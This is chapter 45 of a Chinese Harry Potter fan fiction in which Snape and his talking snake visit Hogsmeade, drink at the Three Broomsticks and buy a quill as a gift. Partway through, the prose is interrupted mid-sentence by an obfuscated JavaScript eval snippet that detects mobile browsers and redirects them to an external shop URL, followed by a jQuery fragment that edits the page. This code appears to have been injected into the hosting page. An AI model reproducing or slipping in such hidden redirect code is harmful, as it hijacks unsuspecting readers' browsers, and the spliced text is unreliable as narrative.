45.
十二月的第一个周末，霍格莫德村之行如期而至。
霍格沃茨城堡前的空地上，学生们排成了一条蜿蜒的长龙，从费尔奇那张小桌子前一直延伸到草坪边缘，一个个裹着厚厚的冬袍，在薄雾里跺着脚，呵出的白雾随着笑声和交谈声此起彼伏。薄薄的积雪覆盖着草地，踩上去发出细微的咯吱声，远处的禁林在灰白的天空下显得格外幽深。费尔奇手里捏着一份长长的名单，每放过去一个学生就在名字后面打个勾。
阿斯特丽德站在队伍侧边，与那些兴高采烈的学生隔着一道无形的界限，像一只被遗落在岸边的企鹅，眼巴巴地望着那些即将登船远航的同类们。她双手拢在校袍袖子里，脚上的靴子已经被雪水浸得有些发潮，目光却穿过层层叠叠的人群，牢牢锁定在队伍前端的那个黑色身影上。
斯内普穿着一件厚实的黑斗篷，整个人像是从哥特小说里走出来的角色。他面无表情地通过费尔奇的查验，在带着萨其马走向红色特快列车之前，还好心情地停下来，从斗篷里托举起围了黑色迷你围巾的萨其马。
萨其马被举到和她视线平齐的高度，小小的黑围巾在它脖子上绕了一圈，打了个精致的蝴蝶结。斯内普托着它，让它正对着阿斯特丽德的方向，然后用另一只手指了指阿斯特丽德，示意它跟“妈妈”拜拜。
萨其马立刻心领神会，朝着阿斯特丽德的方向欢快地甩了甩尾巴尖，姿态敷衍中透着几分亲昵。甩完之后，它就缩回了斯内普的衣兜里，只露出半个戴着迷你围巾和墨镜的脑袋，安逸地搁在他的口袋边缘。
它现在是斯内普的一对一蛇语外教，据说在他那享有超高待遇。不仅可以盘在他的枕头上睡觉——虽然斯内普第一天早上醒来发现那条小蛇正缠着他的脖子打呼噜时，表情精彩得像看见了梅林跳踢踏舞。还可以缠绕在他的魔杖上，把脑袋搁在两个小小的蝙蝠触角之间，享受“巫师至尊专属座驾”的尊贵感。它管这个叫“朕的御辇”，斯内普懒得纠正它。
阿斯特丽德看着一人一蛇消失在红色车厢的门后，这才踩着一层薄薄的积雪，慢慢往回走，积雪刚没过鞋底，踩上去咯吱作响。她也想去霍格莫德，但她现在是一年级生，连申请签字的表格都没资格拿，只能跟低年级的小鬼头们一起泡在图书馆里，为那些永远凑不够字数的论文绞尽脑汁。她曾试图说服麦格教授，强调自己已经十六岁半了，心智成熟，完全可以对自己的行为负责——
麦格教授当时正在批改作业，闻言抬起头，严肃的目光朝她看过来，接着从抽屉里拿出一盒猫形状的黄油饼干，推到她面前。
“杜兰特小姐，我理解你的心情。”她的声音一如既往地平稳，“但规则之所以是规则，正是因为它们对所有人都一视同仁。你十六岁半，但你在一年级的名单上；波特先生和布莱克先生十六岁，但他们在六年级的名单上。”她把饼干盒又往前推了推，用过来人的语气宽慰着:“等到后年这个时候，自然会有你的表格。而且说实话，图书馆也挺好的，至少不用担心在蜂蜜公爵门口被那些捣蛋鬼的恶作剧误伤。”
好吧。
阿斯特丽德只能捧着一盒新烘焙的饼干，踏上了去图书馆的路。
而与阿斯特丽德的悲喜并不相通的斯内普，此刻正好心情地揣着萨其马，沿着霍格莫德村铺满积雪的主街慢慢走着。雪后的村庄像一张被精心装饰的明信片，歪歪扭扭的屋顶上积着厚厚的雪，烟囱里冒着袅袅炊烟，空气中弥漫着烤面包和糖果的甜香。他拐进一条小路，经过尖叫棚屋时，脚步渐渐放慢。
那栋破败的建筑孤零零地立在山坡上，在灰白的天光下显得格外阴森，那些钉死的窗户像一只只空洞的眼睛。
‘这里，狼人。’他微微偏过头，对着肘弯处不甚流畅地嘶嘶。他的发音还有些生涩，音节之间的衔接也不太自然，但已经能准确表达意思了。
萨其马探出脑袋，眯起眼睛往那栋歪歪扭扭的房子瞄了一眼，然后不屑地甩了甩尾巴。
‘区区狼人，老萨其马能一次性缠上五只，用身子把它们绞成麻花！然后打个蝴蝶结，挂在那棵歪脖子树上当装饰！’它的嘶嘶声里带着一种勇士即将出征的豪迈。
‘不。’斯内普的蛇语依旧简略，但意思明确，‘你盯着——就行。’
他的意思是，用那双眼睛盯着，比什么缠绕都管用。
萨其马现在很能理解他的语义，毕竟这些天的外教课不是白上的。它遗憾地甩了甩尾巴，表情有些失落。
‘脆皮法攻在战场上是很尴尬的，老萨其马明明有一身雄壮的肌肉，满身的蛮力，却只能躲在后面放冷箭。’它嘶嘶着，颇有些英雄无用武之地的怅惘：‘我应该用七寸碾碎敌人，用尾巴扫平障碍，这才无损于一个勇士的荣耀。’
斯内普继续往前走，磕磕巴巴地调侃着：‘你——先克服对公鸡的恐惧，再谈——对抗路。’
萨其马咂了咂嘴，觉得这话虽然不中听，但是也没法反驳。
蜂蜜公爵糖果店里人声鼎沸，穿着各色冬袍的学生们挤在柜台前，叽叽喳喳地指着那些琳琅满目的糖果——酸味爆爆糖时不时发出噼啪的爆炸声，吹宝超级泡泡糖被几个赫奇帕奇女生拿在手里比谁吹的泡泡大。巧克力蛙从盒子里蹦跶出来，被一个拉文克劳男生眼疾手快地抓住，然后那男生的手指被狠狠咬了一口，惨叫一声把青蛙甩了出去。
斯内普在柜台前站定，目光从那些糖果上掠过。他伸手拿起一盒巧克力蛙，正准备问问萨其马要不要尝尝，就听见口袋里传来一阵急促的嘶嘶声：‘不要那个！’
他低头看去，萨其马正用尾巴尖指着那盒巧克力蛙，小小的脸上满是复杂：‘它看起来太像老萨其马的妈妈了——那个孵了它又不认它的蟾蜍。老萨其马不吃妈妈。’
斯内普沉默着把那盒巧克力蛙放回原处，目光继续在柜台里搜寻，最后落在一袋滋滋蜜蜂糖和一盒比比多味豆上。
‘这个？’
‘要那个！还有那个！’它用尾巴尖指着那盒多味豆，雀跃的嘶嘶声里还带着老饕的讲究，‘老萨其马喜欢胡椒薄荷味的豆子！那种吃了之后，整个蛇都是清凉的，特别舒服。一盒里要是能吃到四颗就算赚到！’
斯内普把两样东西拿到柜台结了账，然后带着萨其马挤出人群。他把那盒多味豆塞进口袋里，萨其马立刻用尾巴缠住，发出满足的嘶嘶声。
外面的雪还在下着，细细密密地从灰蒙蒙的天空飘落，落在屋檐和街道上，还有行人的肩头。斯内普沿着主街继续往前走，靴子在积雪上踩出一串深深的脚印。走了没多远，就看见一栋三层高的小楼，门口挂着一块摇摇晃晃的招牌——三把扫帚酒吧。暖黄色的灯光从窗户里透出来，把雪地染成一片柔软的颜色，隐约能听见里面传出的说笑声和碰杯声。
斯内普推开厚重的木门，一股混合着壁炉暖意、酒精和欢笑声的热浪扑面而来，驱散了外面的寒意。
酒吧里热闹非凡，木头桌椅周围几乎坐满了人，吧台前排着长长的队伍，罗斯默塔女士穿着酒红色的紧身长袍，在吧台后面忙碌着。弗立维教授和麦格教授坐在靠窗的位置，两人面前各摆着一杯黄油啤酒，正低声交谈着什么。弗立维时不时发出尖细的笑声，麦格的嘴角也挂着柔和的笑意。几个已经成年的七年级学生围坐在角落的圆桌旁，桌上摆着几杯火焰威士忌和颜色不一的含酒精饮料，他们笑哈哈地碰杯，声音大得整个酒吧都能听见。
斯内普在吧台边找了个位置。他还差不足一个月才满十七岁，按照规定不能点含酒精的饮品——虽然从那张阴郁的脸上完全看不出他还有这种青春期的烦恼。
萨其马从他衣兜里探出脑袋，眼睛盯着旁边桌上那杯冒着泡沫的黄油啤酒，又盯着另一桌那杯颜色更深、杯壁上挂着水珠的树莓果酒，然后它开始缠在斯内普的手腕上扭动起来。
‘那个！’它嘶嘶着，声音里满是渴望：‘老萨其马想喝那个——黄黄的、冒着泡的——还有那个红红的、闻起来甜甜的！本勇士活了这么久还没喝过这些！’
斯内普低头，无奈地看着它，‘你——确定？’他磕磕巴巴地问，‘喝了——会不会——出问题？’
‘能出什么问题？’萨其马理直气壮地甩了甩尾巴，‘本勇士什么毒没扛过？这点酒精算什么？’
斯内普没再说什么，转身面向吧台。
罗斯默塔女士忙完一单，转过身来擦了擦手，朝他露出一个职业性的微笑：“要点什么，亲爱的？”
“一杯黄油啤酒，一杯树莓果酒。”斯内普语调平平。
罗斯默塔女士微微挑眉：“你满十七了吗？我记得你好像是……”
“我没满。”斯内普面不改色，用下巴朝手腕上的萨其马示意了一下，“但我的宠物满了。事实上，它已经非常老了。”
罗斯默塔女士低头看向那条盯着她的小蛇：“……”
最后她摇了摇头，“行吧。”她把杯子推到斯内普面前，金色的液体在杯子里微微冒着泡，散发出诱人的甜香，“算你有理。不过你那只很老的宠物要是喝醉了闹事，我可不负责。”
斯内普微微颔首，付了钱，端着两个杯子在靠墙的一张空桌子旁坐下。
萨其马迫不及待地从他手腕上滑下来，趴在黄油啤酒的杯沿上，把脑袋探进去尝了一口。紧接着又舔了一口，然后整个脑袋都埋进了杯子里，发出咕咚咕咚的吞咽声。
当它终于抬起头时，脸上沾满了金色的泡沫，从头顶一直糊到围巾上。它打了个响亮的嗝，然后又把脑袋探进树莓果酒的杯子里，尝了一口。
‘好喝——老萨其马喜欢这个！比那个年代喝的蜂蜜酒好喝多了！那个年代只有蜂蜜酒、苹果酒，喝多了上头。这个有奶味，有甜味，还有一点点咸味——太妙了！老萨其马宣布，这是我九百年来喝到的最好喝的东西！’
斯内普靠在椅背上，看着它在两只杯子之间来回穿梭，动作越来越熟练。
喝到尽兴处，它再次打了个嗝。那个嗝带着树莓果酒的香气，从它嘴里冒出来，在空气中凝成一团淡粉色的小雾团，晃晃悠悠地飘上去，然后啪地散开。
斯内普看着那
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334618|199227||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
团雾气在他面前散开，脸上浮现出浅淡的笑意，‘九百多岁了，酒量却很一般。’
‘谁说的？’萨其马把脑袋从树莓果酒里拔出来，小小的蛇身上沾满了淡红色的液体，脑袋上还顶着一团白色的泡沫。它甩了甩头，把那团泡沫甩掉，‘本勇士千杯不醉！’话没说完，又打了个嗝，这次是混合口味，粉白相间的雾气飘上去，形状居然有点像一朵花。
斯内普没有接话，只是端起自己那杯柠檬水，慢悠悠地喝了一口。
从三把扫帚出来时，外面的雪已经停了。街道上的人少了许多，只剩下三三两两往回走的学生，他们的笑声在风里传得很远。
斯内普带着萨其马往文人居的方向走，萨其马趴在他肩膀上，整个身子都软绵绵的，像是没了骨头。那两杯酒的劲头显然比它预想的大，此刻它正眯着眼睛，嘴里嘀嘀咕咕的。
‘那时候啊……’它的嘶嘶声比平时慢了许多，完全是酒后的悠哉，‘十一世纪，那会儿可没这么多规矩，也没这么热闹……小巫师们满城堡乱跑，萨拉查追在后面喊……喊什么来着？’
斯内普放慢脚步，侧过头看着它。
‘喊“别碰那个”，’萨其马自顾自地继续，‘那会儿城堡还没建完，到处都是石头和梯子，那几个小崽子整天爬来爬去，有一个差点从塔楼上掉下去，后来被萨拉查拎着后领拎了一路，哭得嗷嗷的。’
斯内普的脚步放得更慢了。
‘还有些小崽子上课上到一半，想跑就跑了，直接钻进禁林里去玩。萨姹那时候还活着，偶尔会出来晃悠，那些小崽子们第一次见到她的时候，吓得哇哇大哭，以为见到了什么怪物。后来混熟了，有几个胆大的还敢去摸她的尾巴——被她一尾巴拍飞了。’
斯内普一边走一边听着，此时才低声嘶嘶了一句：‘她……打学生？’
萨其马开始护短：‘那叫拍飞，不是打。而且那几个小崽子确实整天在城堡里捣蛋，还往萨拉查的坩埚里扔蟾蜍。不过她一般不管这些事，大部分时间都窝在禁林里晒太阳。她可懒了，比老萨其马还懒。’
斯内普用鼻息轻轻笑了一声，然后继续往前走，没有再问什么。
文人居羽毛笔专卖店坐落在一条僻静的小巷里，店面不大，橱窗里琳琅满目地摆满了各式各样的羽毛笔——有的羽毛是鲜艳的孔雀蓝，在灯光下泛着华贵的光泽；有的是低调的猫头鹰灰，非常朴素；还有几支看起来格外特别，羽毛根部缠绕着细细的银丝，轻轻一晃就会发出细微的铃声。
斯内普推门进去，门上挂着的铃铛发出一声清脆的响。店里很安静，只有角落里一个穿着深蓝色长袍的老头在整理货架，闻声抬头看了他一眼，又低下头继续忙自己的事。
斯内普在那些羽毛笔前慢慢踱步。
有几支很有意思——其中一支的笔杆是用银色的木头做的，上面刻着精细的魔法纹路，那些纹路会自己缓缓流动；还有一支懒洋洋地躺在盒子里，对周围的一切都漠不关心，不过它是用某种透明的材质做的，里面装着会发光的液体，在昏暗的光线里像一支小小的荧光棒。
萨其马趴在他肩膀上，眯着眼睛看那些笔，时不时打个嗝。
斯内普的目光在一支支羽毛笔上扫过，最后停在一支被搁在旋转展示架的笔上。
那支笔的羽毛是深紫色的，接近黑色，但在光线下会泛出一层幽幽的紫光。笔杆是银质的，上面刻着繁复的藤蔓纹路，那些藤蔓之间藏着一些极小的星星，如果仔细看，会发现那些星星会时不时闪一下。
店主见他盯着那支笔看久了，凑过来解释道：“这支笔叫‘夜语’，羽毛是从非洲最珍稀的夜行鸟身上取的，那种鸟只在月光下飞翔，羽毛会吸收月光。笔杆是妖精锻造的银，上面的星星是真正的陨石碎片。至于笔尖——那是水晶打磨的，写出来的字迹会带着淡淡的银光。”
他看了看斯内普的神情，又补充道：“而且它有个特别之处——它会记录下你写过的每一个字，在你需要的时候，把那些字句重新浮现出来给你看。它还会在墨水快用完的时候发出很轻很轻的光。很多巫师用它来写日记，或者写情书。”
斯内普的目光在那支笔上停留了很久。
片刻之后，他像是随口一问：“它喜欢什么口味的墨水？”
“墨鱼汁味的，越浓越好。”
‘买了吧。’萨其马趴在他肩膀上，醉醺醺地嘶嘶，‘买回去送给……她。’
走出文人居的时候，太阳低低地挂在西南方向的山丘后面，把整个霍格莫德染成一层淡淡的金色。暮色刚刚开始在屋檐下堆积，像是谁用炭笔在那些歪斜的屋顶边缘轻轻勾勒了几笔。街道上，偶尔有一两盏路灯提前亮起，提醒着行人该回家享用晚餐了。
斯内普揣着那支刚买的羽毛笔，慢慢地往车站方向走。萨其马在他口袋里打着小小的鼾，偶尔夹杂着一两句含糊不清的嘶嘶，听起来像是在梦里还在品尝那两杯酒。
礼盒躺在他胸口的衣袋里，还带着一点点温热——既是来自店里的炉火，也是来自他怀里的温度。